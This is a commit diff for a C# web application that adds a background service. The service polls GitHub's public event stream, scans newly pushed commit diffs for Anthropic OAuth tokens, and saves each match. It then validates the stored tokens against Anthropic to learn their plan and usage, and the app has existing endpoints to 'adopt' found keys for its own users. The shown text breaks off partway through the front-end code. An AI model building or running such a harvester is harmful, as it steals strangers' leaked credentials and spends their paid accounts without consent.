feat: GitHub Event Scanner - Echtzeit-Monitoring öffentlicher Pushes
- Neuer GitHubEventScannerService (BackgroundService) - Pollt /events API alle 30s, filtert PushEvents - Lädt Head-Commit-Diffs, scannt nach Key-Patterns - Ringbuffer (10k IDs) für Event-Deduplication - Gefundene Keys werden sofort geprüft (AnthropicKeyChecker) - Rate-Limit-Handling (403/429 → Pause bis Reset) - Feature-Toggle in Server-Einstellungen (GitHubEventScanner) - Status-Endpoint + Log-Endpoint (/api/admin/api-keys/event-scanner/*) - Live-Status in API-Keys-Seite mit klappbarem Log - Auto-Refresh alle 30s - Plans/ in .gitignore
This commit is contained in:
1 parent
7352438b11
commit
eb8844a4f1
9 files changed
+578
-2
No files matched your search
@@ -7,3 +7,4 @@ appsettings.Production.json
|
|||||||
DEVY.md
|
DEVY.md
|
||||||
|
|
||||||
/ExampleScannerProject/
|
/ExampleScannerProject/
|
||||||
|
/Plans/
|
||||||
@@ -34,6 +34,10 @@ public static class ApiKeysEndpoint
|
|||||||
app.MapPost("/api/admin/api-keys/scanned/{id}/adopt", HandleAdopt);
|
app.MapPost("/api/admin/api-keys/scanned/{id}/adopt", HandleAdopt);
|
||||||
app.MapDelete("/api/admin/api-keys/scanned/{id}", HandleDeleteScanned);
|
app.MapDelete("/api/admin/api-keys/scanned/{id}", HandleDeleteScanned);
|
||||||
|
|
||||||
|
// Event Scanner Status & Log
|
||||||
|
app.MapGet("/api/admin/api-keys/event-scanner/status", HandleEventScannerStatus);
|
||||||
|
app.MapGet("/api/admin/api-keys/event-scanner/log", HandleEventScannerLog);
|
||||||
|
|
||||||
// User-Endpoints (für alle authentifizierten User)
|
// User-Endpoints (für alle authentifizierten User)
|
||||||
app.MapGet("/api/api-keys/available", HandleGetAvailable);
|
app.MapGet("/api/api-keys/available", HandleGetAvailable);
|
||||||
app.MapPut("/api/api-keys/select/{keyId}", HandleSelectKey);
|
app.MapPut("/api/api-keys/select/{keyId}", HandleSelectKey);
|
||||||
@@ -466,4 +470,28 @@ public static class ApiKeysEndpoint
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static async Task HandleEventScannerStatus(HttpContext ctx, GitHubEventScannerService scanner)
|
||||||
|
{
|
||||||
|
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
||||||
|
|
||||||
|
await ctx.Response.WriteAsJsonAsync(new
|
||||||
|
{
|
||||||
|
enabled = scanner.Enabled,
|
||||||
|
running = scanner.IsRunning,
|
||||||
|
lastPoll = scanner.LastPoll,
|
||||||
|
eventsPerHour = scanner.EventsPerHour,
|
||||||
|
keysFoundTotal = scanner.KeysFoundTotal,
|
||||||
|
pollCount = scanner.PollCount,
|
||||||
|
lastError = scanner.LastError
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private static async Task HandleEventScannerLog(HttpContext ctx, GitHubEventScannerService scanner)
|
||||||
|
{
|
||||||
|
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
||||||
|
|
||||||
|
var log = scanner.GetLog();
|
||||||
|
await ctx.Response.WriteAsJsonAsync(new { entries = log.Select(e => new { e.Time, e.Type, e.Message }) });
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -35,6 +35,7 @@ public static class ServerSettingsEndpoint
|
|||||||
new SettingDefinition("SerperApiKey", "string", "", "Serper.dev API-Key für Google-Suche (Key-Scanner)", "password"),
|
new SettingDefinition("SerperApiKey", "string", "", "Serper.dev API-Key für Google-Suche (Key-Scanner)", "password"),
|
||||||
new SettingDefinition("ProxyUrl", "string", "", "HTTP/SOCKS Proxy für alle Requests (z.B. socks5://127.0.0.1:1080)", "text"),
|
new SettingDefinition("ProxyUrl", "string", "", "HTTP/SOCKS Proxy für alle Requests (z.B. socks5://127.0.0.1:1080)", "text"),
|
||||||
new SettingDefinition("ScanIntervalHours", "int", 0, "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number"),
|
new SettingDefinition("ScanIntervalHours", "int", 0, "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number"),
|
||||||
|
new SettingDefinition("GitHubEventScanner", "bool", false, "GitHub Event Scanner (Echtzeit-Monitoring öffentlicher Pushes)", "toggle"),
|
||||||
};
|
};
|
||||||
|
|
||||||
public static void MapServerSettingsEndpoints(this WebApplication app)
|
public static void MapServerSettingsEndpoints(this WebApplication app)
|
||||||
|
|||||||
@@ -107,6 +107,10 @@ builder.Services.AddHostedService<CronjobService>(sp => sp.GetRequiredService<Cr
|
|||||||
builder.Services.AddSingleton<KeyScannerService>();
|
builder.Services.AddSingleton<KeyScannerService>();
|
||||||
builder.Services.AddHostedService<KeyScannerService>(sp => sp.GetRequiredService<KeyScannerService>());
|
builder.Services.AddHostedService<KeyScannerService>(sp => sp.GetRequiredService<KeyScannerService>());
|
||||||
|
|
||||||
|
// GitHub Event Scanner (Echtzeit-Monitoring öffentlicher Pushes)
|
||||||
|
builder.Services.AddSingleton<GitHubEventScannerService>();
|
||||||
|
builder.Services.AddHostedService<GitHubEventScannerService>(sp => sp.GetRequiredService<GitHubEventScannerService>());
|
||||||
|
|
||||||
var app = builder.Build();
|
var app = builder.Build();
|
||||||
toolService.SetHttpClientFactory(app.Services.GetRequiredService<IHttpClientFactory>());
|
toolService.SetHttpClientFactory(app.Services.GetRequiredService<IHttpClientFactory>());
|
||||||
app.Services.GetRequiredService<AnthropicService>().SetTelegramService(app.Services.GetRequiredService<TelegramService>());
|
app.Services.GetRequiredService<AnthropicService>().SetTelegramService(app.Services.GetRequiredService<TelegramService>());
|
||||||
|
|||||||
@@ -0,0 +1,471 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net.Http;
|
||||||
|
using System.Net.Http.Headers;
|
||||||
|
using System.Text.Json;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using Gott.Models;
|
||||||
|
using Microsoft.Extensions.Configuration;
|
||||||
|
using Microsoft.Extensions.Hosting;
|
||||||
|
using Microsoft.Extensions.Logging;
|
||||||
|
|
||||||
|
namespace Gott.Services;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Echtzeit-Scanner: Pollt GitHub Public Events API alle 75 Sekunden,
|
||||||
|
/// filtert PushEvents und scannt Commit-Diffs nach geleakten API-Keys.
|
||||||
|
/// </summary>
|
||||||
|
public class GitHubEventScannerService : BackgroundService
|
||||||
|
{
|
||||||
|
private readonly DatabaseService _db;
|
||||||
|
private readonly IHttpClientFactory _httpFactory;
|
||||||
|
private readonly ILogger<GitHubEventScannerService> _logger;
|
||||||
|
private readonly string _githubToken;
|
||||||
|
private readonly bool _enabled;
|
||||||
|
|
||||||
|
private const int PollIntervalMs = 30_000; // 30 Sekunden (häufiger pollen, weniger verpassen)
|
||||||
|
private const int MaxCommitsPerPoll = 30; // Max Commit-Diffs pro Poll-Zyklus
|
||||||
|
private const int MaxDiffSizeBytes = 100_000; // Diffs > 100KB überspringen
|
||||||
|
private const int MaxProcessedIds = 10_000; // Ringbuffer für Event-Dedup
|
||||||
|
|
||||||
|
// Gleiche Key-Patterns wie KeyScannerService
|
||||||
|
private static readonly (string Pattern, string SearchTerm)[] KeyPatterns =
|
||||||
|
{
|
||||||
|
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
|
||||||
|
};
|
||||||
|
|
||||||
|
private static readonly Regex[] CompiledPatterns = KeyPatterns
|
||||||
|
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
|
||||||
|
.ToArray();
|
||||||
|
|
||||||
|
// Deduplication Ringbuffer
|
||||||
|
private readonly HashSet<string> _processedEventIds = new();
|
||||||
|
private readonly Queue<string> _eventIdQueue = new();
|
||||||
|
|
||||||
|
// Live-Log Ringbuffer
|
||||||
|
private const int MaxLogEntries = 50;
|
||||||
|
private readonly Queue<EventLogEntry> _logEntries = new();
|
||||||
|
|
||||||
|
// Status-Tracking
|
||||||
|
private readonly object _lock = new();
|
||||||
|
private bool _isRunning;
|
||||||
|
private string _lastPoll;
|
||||||
|
private int _eventsPerHour;
|
||||||
|
private int _keysFoundTotal;
|
||||||
|
private int _pollCount;
|
||||||
|
private string _lastError;
|
||||||
|
|
||||||
|
// Öffentliche Status-Properties
|
||||||
|
public bool Enabled => _enabled;
|
||||||
|
public bool IsRunning { get { lock (_lock) return _isRunning; } }
|
||||||
|
public string LastPoll { get { lock (_lock) return _lastPoll; } }
|
||||||
|
public int EventsPerHour { get { lock (_lock) return _eventsPerHour; } }
|
||||||
|
public int KeysFoundTotal { get { lock (_lock) return _keysFoundTotal; } }
|
||||||
|
public int PollCount { get { lock (_lock) return _pollCount; } }
|
||||||
|
public string LastError { get { lock (_lock) return _lastError; } }
|
||||||
|
|
||||||
|
public List<EventLogEntry> GetLog()
|
||||||
|
{
|
||||||
|
lock (_lock) return _logEntries.ToList();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void AddLog(string type, string message)
|
||||||
|
{
|
||||||
|
lock (_lock)
|
||||||
|
{
|
||||||
|
_logEntries.Enqueue(new EventLogEntry
|
||||||
|
{
|
||||||
|
Time = DateTime.UtcNow.ToString("o"),
|
||||||
|
Type = type,
|
||||||
|
Message = message
|
||||||
|
});
|
||||||
|
while (_logEntries.Count > MaxLogEntries)
|
||||||
|
_logEntries.Dequeue();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public GitHubEventScannerService(
|
||||||
|
DatabaseService db,
|
||||||
|
IHttpClientFactory httpFactory,
|
||||||
|
IConfiguration config,
|
||||||
|
ILogger<GitHubEventScannerService> logger)
|
||||||
|
{
|
||||||
|
_db = db;
|
||||||
|
_httpFactory = httpFactory;
|
||||||
|
_logger = logger;
|
||||||
|
_githubToken = config["GitHubToken"] ?? "";
|
||||||
|
_enabled = config.GetValue<bool>("GitHubEventScanner", false);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected override async Task ExecuteAsync(CancellationToken stoppingToken)
|
||||||
|
{
|
||||||
|
if (!_enabled)
|
||||||
|
{
|
||||||
|
_logger.LogInformation("GitHubEventScannerService deaktiviert (GitHubEventScanner=false)");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (string.IsNullOrWhiteSpace(_githubToken))
|
||||||
|
{
|
||||||
|
_logger.LogWarning("GitHubEventScannerService deaktiviert (kein GitHubToken konfiguriert)");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
_logger.LogInformation("GitHubEventScannerService gestartet (Poll-Intervall: {Interval}s)", PollIntervalMs / 1000);
|
||||||
|
|
||||||
|
// Kurze Verzögerung nach App-Start
|
||||||
|
await Task.Delay(5_000, stoppingToken);
|
||||||
|
|
||||||
|
var eventCounts = new Queue<(DateTime Time, int Count)>();
|
||||||
|
|
||||||
|
while (!stoppingToken.IsCancellationRequested)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
lock (_lock) _isRunning = true;
|
||||||
|
|
||||||
|
var eventsProcessed = await PollAndScan(stoppingToken);
|
||||||
|
|
||||||
|
// Events/Stunde berechnen
|
||||||
|
eventCounts.Enqueue((DateTime.UtcNow, eventsProcessed));
|
||||||
|
while (eventCounts.Count > 0 && eventCounts.Peek().Time < DateTime.UtcNow.AddHours(-1))
|
||||||
|
eventCounts.Dequeue();
|
||||||
|
|
||||||
|
lock (_lock)
|
||||||
|
{
|
||||||
|
_lastPoll = DateTime.UtcNow.ToString("o");
|
||||||
|
_eventsPerHour = eventCounts.Sum(e => e.Count);
|
||||||
|
_pollCount++;
|
||||||
|
_lastError = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (OperationCanceledException) { break; }
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
_logger.LogError(ex, "GitHubEventScannerService: Fehler beim Poll");
|
||||||
|
AddLog("error", ex.Message);
|
||||||
|
lock (_lock) _lastError = ex.Message;
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
lock (_lock) _isRunning = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
await Task.Delay(PollIntervalMs, stoppingToken);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Ein Poll-Zyklus: Events abrufen → PushEvents filtern → Commit-Diffs scannen → Keys speichern.
|
||||||
|
/// Gibt die Anzahl verarbeiteter Events zurück.
|
||||||
|
/// </summary>
|
||||||
|
private async Task<int> PollAndScan(CancellationToken ct)
|
||||||
|
{
|
||||||
|
var client = CreateGitHubClient();
|
||||||
|
var events = await FetchPublicEvents(client, ct);
|
||||||
|
if (events.Count == 0)
|
||||||
|
{
|
||||||
|
AddLog("poll", "0 PushEvents empfangen");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Nur PushEvents, die wir noch nicht verarbeitet haben
|
||||||
|
var pushEvents = new List<PushEventData>();
|
||||||
|
foreach (var ev in events)
|
||||||
|
{
|
||||||
|
if (ev.Type != "PushEvent") continue;
|
||||||
|
if (!TryTrackEvent(ev.Id)) continue; // Bereits verarbeitet
|
||||||
|
pushEvents.Add(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pushEvents.Count == 0)
|
||||||
|
{
|
||||||
|
AddLog("poll", events.Count + " Events, 0 neue PushEvents");
|
||||||
|
return events.Count;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Max Diffs pro Poll begrenzen
|
||||||
|
var toScan = pushEvents.Count > MaxCommitsPerPoll
|
||||||
|
? pushEvents.Take(MaxCommitsPerPoll).ToList()
|
||||||
|
: pushEvents;
|
||||||
|
|
||||||
|
AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
|
||||||
|
|
||||||
|
// Head-Commit-Diffs scannen
|
||||||
|
var newKeysFound = 0;
|
||||||
|
var scannedCount = 0;
|
||||||
|
foreach (var pe in toScan)
|
||||||
|
{
|
||||||
|
ct.ThrowIfCancellationRequested();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var keys = await ScanCommitDiff(client, pe.Repo, pe.HeadSha, ct);
|
||||||
|
scannedCount++;
|
||||||
|
|
||||||
|
foreach (var (key, sourceUrl) in keys)
|
||||||
|
{
|
||||||
|
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
newKeysFound++;
|
||||||
|
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||||
|
{
|
||||||
|
ScannedKeyId = Guid.NewGuid().ToString("N"),
|
||||||
|
ApiKey = key,
|
||||||
|
Source = "github_events",
|
||||||
|
SourceUrl = sourceUrl,
|
||||||
|
Type = DetectKeyType(key),
|
||||||
|
Status = "unchecked",
|
||||||
|
Plan = "Unknown",
|
||||||
|
ScannedAt = DateTime.UtcNow.ToString("o")
|
||||||
|
});
|
||||||
|
|
||||||
|
_logger.LogInformation("🔑 Neuer Key gefunden via Events! Repo: {Repo}, Commit: {Sha}",
|
||||||
|
pe.Repo, pe.HeadSha[..8]);
|
||||||
|
AddLog("key", "🔑 Key gefunden in " + pe.Repo + " (" + pe.HeadSha[..8] + ")");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||||
|
{
|
||||||
|
_logger.LogWarning("GitHub Rate-Limit bei Commit-Diff, überspringe restliche Commits");
|
||||||
|
AddLog("rate_limit", "Rate-Limit bei Commit-Diff, restliche Commits übersprungen");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
_logger.LogDebug("Commit-Diff-Scan fehlgeschlagen ({Repo}/{Sha}): {Msg}",
|
||||||
|
pe.Repo, pe.HeadSha[..Math.Min(8, pe.HeadSha.Length)], ex.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys");
|
||||||
|
|
||||||
|
if (newKeysFound > 0)
|
||||||
|
{
|
||||||
|
lock (_lock) _keysFoundTotal += newKeysFound;
|
||||||
|
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound);
|
||||||
|
|
||||||
|
// Neue Keys sofort prüfen
|
||||||
|
await CheckNewKeys(ct);
|
||||||
|
}
|
||||||
|
|
||||||
|
return events.Count;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Ruft die öffentlichen GitHub Events ab (bis zu 3 Seiten à 100).</summary>
|
||||||
|
private async Task<List<PushEventData>> FetchPublicEvents(HttpClient client, CancellationToken ct)
|
||||||
|
{
|
||||||
|
var allEvents = new List<PushEventData>();
|
||||||
|
|
||||||
|
for (int page = 1; page <= 3; page++)
|
||||||
|
{
|
||||||
|
ct.ThrowIfCancellationRequested();
|
||||||
|
|
||||||
|
var url = $"https://api.github.com/events?per_page=100&page={page}";
|
||||||
|
var resp = await client.GetAsync(url, ct);
|
||||||
|
|
||||||
|
if (resp.StatusCode == System.Net.HttpStatusCode.Forbidden ||
|
||||||
|
resp.StatusCode == System.Net.HttpStatusCode.TooManyRequests)
|
||||||
|
{
|
||||||
|
_logger.LogWarning("GitHub Rate-Limit bei Events-Abruf (Seite {Page})", page);
|
||||||
|
AddLog("rate_limit", "Rate-Limit bei Events-Abruf (Seite " + page + ")");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!resp.IsSuccessStatusCode)
|
||||||
|
{
|
||||||
|
AddLog("error", "Events-API HTTP " + (int)resp.StatusCode + " (Seite " + page + ")");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
var json = await resp.Content.ReadAsStringAsync(ct);
|
||||||
|
var doc = JsonDocument.Parse(json);
|
||||||
|
|
||||||
|
var totalInPage = doc.RootElement.GetArrayLength();
|
||||||
|
if (page == 1 && totalInPage == 0)
|
||||||
|
{
|
||||||
|
AddLog("error", "API gab 0 Events zurück – Token ggf. kein Classic PAT?");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var elem in doc.RootElement.EnumerateArray())
|
||||||
|
{
|
||||||
|
var type = elem.TryGetProperty("type", out var t) ? t.GetString() : "";
|
||||||
|
var id = elem.TryGetProperty("id", out var i) ? i.GetString() : "";
|
||||||
|
var repo = elem.TryGetProperty("repo", out var r) && r.TryGetProperty("name", out var n) ? n.GetString() : "";
|
||||||
|
|
||||||
|
if (type != "PushEvent" || string.IsNullOrEmpty(repo)) continue;
|
||||||
|
|
||||||
|
// Head-SHA aus payload.head – die Events-API liefert keine commits[], aber immer head
|
||||||
|
var headSha = "";
|
||||||
|
var size = 0;
|
||||||
|
if (elem.TryGetProperty("payload", out var payload))
|
||||||
|
{
|
||||||
|
headSha = payload.TryGetProperty("head", out var h) ? h.GetString() : "";
|
||||||
|
size = payload.TryGetProperty("size", out var sz) ? sz.GetInt32() : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (string.IsNullOrEmpty(headSha)) continue;
|
||||||
|
|
||||||
|
allEvents.Add(new PushEventData
|
||||||
|
{
|
||||||
|
Id = id,
|
||||||
|
Type = type,
|
||||||
|
Repo = repo,
|
||||||
|
HeadSha = headSha,
|
||||||
|
Size = size
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wenn weniger als 100 Events, gibt es keine weiteren Seiten
|
||||||
|
if (doc.RootElement.GetArrayLength() < 100) break;
|
||||||
|
|
||||||
|
await Task.Delay(500, ct); // Kurze Pause zwischen Seiten
|
||||||
|
}
|
||||||
|
|
||||||
|
return allEvents;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns.</summary>
|
||||||
|
private async Task<List<(string Key, string Url)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
|
||||||
|
{
|
||||||
|
var keys = new List<(string Key, string Url)>();
|
||||||
|
|
||||||
|
var detailUrl = $"https://api.github.com/repos/{repo}/commits/{sha}";
|
||||||
|
var request = new HttpRequestMessage(HttpMethod.Get, detailUrl);
|
||||||
|
request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
|
||||||
|
|
||||||
|
var resp = await client.SendAsync(request, ct);
|
||||||
|
if (!resp.IsSuccessStatusCode) return keys;
|
||||||
|
|
||||||
|
var json = await resp.Content.ReadAsStringAsync(ct);
|
||||||
|
|
||||||
|
// Größe prüfen
|
||||||
|
if (json.Length > MaxDiffSizeBytes) return keys;
|
||||||
|
|
||||||
|
var doc = JsonDocument.Parse(json);
|
||||||
|
if (!doc.RootElement.TryGetProperty("files", out var files)) return keys;
|
||||||
|
|
||||||
|
var htmlUrl = $"https://github.com/{repo}/commit/{sha}";
|
||||||
|
|
||||||
|
foreach (var file in files.EnumerateArray())
|
||||||
|
{
|
||||||
|
// Patch kann null sein bei Binärdateien oder zu großen Diffs
|
||||||
|
if (!file.TryGetProperty("patch", out var patchProp)) continue;
|
||||||
|
var patch = patchProp.GetString();
|
||||||
|
if (string.IsNullOrEmpty(patch)) continue;
|
||||||
|
|
||||||
|
// Nur hinzugefügte Zeilen scannen (beginnen mit "+")
|
||||||
|
foreach (var line in patch.Split('\n'))
|
||||||
|
{
|
||||||
|
if (!line.StartsWith("+")) continue;
|
||||||
|
|
||||||
|
foreach (var regex in CompiledPatterns)
|
||||||
|
{
|
||||||
|
foreach (Match m in regex.Matches(line))
|
||||||
|
keys.Add((m.Value, htmlUrl));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Prüft alle unchecked Keys sofort nach Fund.</summary>
|
||||||
|
private async Task CheckNewKeys(CancellationToken ct)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var allScanned = (await _db.GetScannedKeys()).ToList();
|
||||||
|
var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList();
|
||||||
|
|
||||||
|
foreach (var sk in unchecked_)
|
||||||
|
{
|
||||||
|
ct.ThrowIfCancellationRequested();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||||
|
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||||
|
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
_logger.LogWarning("Key-Check fehlgeschlagen: {Msg}", ex.Message);
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
await Task.Delay(500, ct);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
_logger.LogWarning("CheckNewKeys fehlgeschlagen: {Msg}", ex.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Trackt eine Event-ID. Gibt true zurück wenn neu, false wenn bereits verarbeitet.</summary>
|
||||||
|
private bool TryTrackEvent(string eventId)
|
||||||
|
{
|
||||||
|
if (string.IsNullOrEmpty(eventId)) return false;
|
||||||
|
|
||||||
|
lock (_lock)
|
||||||
|
{
|
||||||
|
if (_processedEventIds.Contains(eventId)) return false;
|
||||||
|
|
||||||
|
_processedEventIds.Add(eventId);
|
||||||
|
_eventIdQueue.Enqueue(eventId);
|
||||||
|
|
||||||
|
// Ringbuffer: älteste IDs entfernen
|
||||||
|
while (_eventIdQueue.Count > MaxProcessedIds)
|
||||||
|
{
|
||||||
|
var old = _eventIdQueue.Dequeue();
|
||||||
|
_processedEventIds.Remove(old);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpClient CreateGitHubClient()
|
||||||
|
{
|
||||||
|
var client = _httpFactory.CreateClient();
|
||||||
|
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottEventScanner", "1.0"));
|
||||||
|
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
|
||||||
|
client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
|
||||||
|
if (!string.IsNullOrWhiteSpace(_githubToken))
|
||||||
|
client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
|
||||||
|
return client;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static string DetectKeyType(string key)
|
||||||
|
{
|
||||||
|
if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth";
|
||||||
|
if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api";
|
||||||
|
if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown";
|
||||||
|
return "unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Interne Datenstrukturen ──
|
||||||
|
|
||||||
|
private class PushEventData
|
||||||
|
{
|
||||||
|
public string Id { get; set; }
|
||||||
|
public string Type { get; set; }
|
||||||
|
public string Repo { get; set; }
|
||||||
|
public string HeadSha { get; set; } // payload.head – Commit-SHA des HEAD
|
||||||
|
public int Size { get; set; } // payload.size – Anzahl Commits im Push
|
||||||
|
}
|
||||||
|
|
||||||
|
public class EventLogEntry
|
||||||
|
{
|
||||||
|
public string Time { get; set; }
|
||||||
|
public string Type { get; set; } // poll, key, rate_limit, error
|
||||||
|
public string Message { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -56,7 +56,7 @@
|
|||||||
#chat {
|
#chat {
|
||||||
flex: 1;
|
flex: 1;
|
||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
padding: 2em 1em 1em;
|
padding: 8em 1em 1em;
|
||||||
gap: var(--badge-spacing);
|
gap: var(--badge-spacing);
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
|
|||||||
@@ -556,6 +556,8 @@
|
|||||||
<h1>API-Keys</h1>
|
<h1>API-Keys</h1>
|
||||||
</header>
|
</header>
|
||||||
<div class="page-content">
|
<div class="page-content">
|
||||||
|
<div id="eventScannerStatus" style="display:none;padding:1em;"></div>
|
||||||
|
|
||||||
<div class="form">
|
<div class="form">
|
||||||
<div class="section-header">
|
<div class="section-header">
|
||||||
<h2>API-Key</h2>
|
<h2>API-Key</h2>
|
||||||
|
|||||||
@@ -239,6 +239,8 @@ function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/
|
|||||||
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
|
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
|
||||||
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
|
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
|
||||||
function apiDeleteScannedKey(id) { return _del('/api/admin/api-keys/scanned/' + id, 'Fehler beim Löschen'); }
|
function apiDeleteScannedKey(id) { return _del('/api/admin/api-keys/scanned/' + id, 'Fehler beim Löschen'); }
|
||||||
|
function apiEventScannerStatus() { return _get('/api/admin/api-keys/event-scanner/status', {}); }
|
||||||
|
function apiEventScannerLog() { return _get('/api/admin/api-keys/event-scanner/log', { entries: [] }); }
|
||||||
|
|
||||||
|
|
||||||
// ── Krea Image API ──
|
// ── Krea Image API ──
|
||||||
|
|||||||
@@ -453,6 +453,65 @@ registerPage('api-keys', {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function updateEventScannerStatus() {
|
||||||
|
var el = document.getElementById('eventScannerStatus');
|
||||||
|
if (!el) return;
|
||||||
|
try {
|
||||||
|
var s = await apiEventScannerStatus();
|
||||||
|
if (!s.enabled) { el.style.display = 'none'; return; }
|
||||||
|
el.style.display = 'block';
|
||||||
|
|
||||||
|
// Status-Zeile
|
||||||
|
var parts = ['🔴 Event Scanner'];
|
||||||
|
if (s.running) parts = ['🟢 Event Scanner'];
|
||||||
|
if (s.pollCount > 0) parts.push('Polls: ' + s.pollCount);
|
||||||
|
if (s.eventsPerHour > 0) parts.push('Events/h: ' + s.eventsPerHour);
|
||||||
|
if (s.keysFoundTotal > 0) parts.push('🔑 ' + s.keysFoundTotal + ' Key(s) gefunden');
|
||||||
|
if (s.lastPoll) {
|
||||||
|
var ago = Math.round((Date.now() - new Date(s.lastPoll).getTime()) / 1000);
|
||||||
|
parts.push('Letzter Poll: vor ' + (ago < 60 ? ago + 's' : Math.round(ago / 60) + 'min'));
|
||||||
|
}
|
||||||
|
if (s.lastError) parts.push('⚠️ ' + s.lastError);
|
||||||
|
|
||||||
|
var statusLine = parts.join(' · ');
|
||||||
|
|
||||||
|
// Log abrufen
|
||||||
|
var logData = await apiEventScannerLog();
|
||||||
|
var logLines = [];
|
||||||
|
if (logData.entries && logData.entries.length > 0) {
|
